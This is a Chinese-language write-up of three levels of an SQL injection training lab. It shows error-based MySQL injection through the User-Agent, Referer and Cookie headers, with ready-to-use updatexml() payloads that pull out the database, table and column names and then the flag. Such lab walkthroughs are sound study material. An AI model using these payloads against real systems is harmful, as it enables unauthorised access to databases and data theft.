SQL注入靶场—Header注入 Rank1-3
----------------- Rank 1 ------------------------------------------------------------------
使用admin/admin登录, 出现客户端的信息User Agent,如下:

说明HTTP头部的信息被服务端保存到了数据库中。所以利用Firefox浏览器的HackBar插件,尝试在User Agent中注入。
先在User-Agent输入框中输入1:

点击 Execute,页面回显如下:

再尝试输入 1' 进行测试:

页面显示报错信息,从报错信息中可以看到用的是MySQL数据库:

这里使用MySQL的updatexml() 函数进行报错注入,把想查询的信息回显在MySQL的报错信息中。
获取当前数据库名,构造语句如下:
1' or updatexml(0,concat(0x3a,(select database())),0),'','') #


获取表名,构造语句如下:
1' or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0),'','') #


获取字段名,构造语句如下:
1' or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0),'','') #


最后查询表zkaq中的zKaQ字段的内容,就能拿到flag。
----------------- Rank 2 ------------------------------------------------------------------
使用admin/admin登录后,页面显示了客户端Referer的信息:

说明服务端获取了HTTP请求头中Referer头的信息并保存在了数据库中,所以这里尝试对Referer头进行注入,同样是使用Firefox的Hackbar插件。
先在Referer框输入1:

点击Execute,观察页面回显:

再输入1' 进行测试:

可以看到页面显示报错信息,从中可以看到用的是MySQL数据库:

所以这里一样使用updatexml() 在Referer处进行报错注入。
注入的语句跟上面 Rank 1 的一样,只是这道题是注入到Referer头而已,这里不详细说了。
----------------- Rank 3 ------------------------------------------------------------------
使用admin/admin登录后,页面显示内容如下:

可以看到这次是将Cookie的内容保存到数据库中了。
下面使用Firefox的 Cookie Quick Manager 插件来对当前页面的Cookie进行修改:

获取当前数据库名:
admin' or updatexml(0,concat(0x3a,(select database())),0) #

获取表名:
admin' or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0) #

获取字段名:
admin' or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0) #

获取flag:
admin' or updatexml(0,concat(0x3a,(select zKaQ from zkaq limit 1,1)),0) #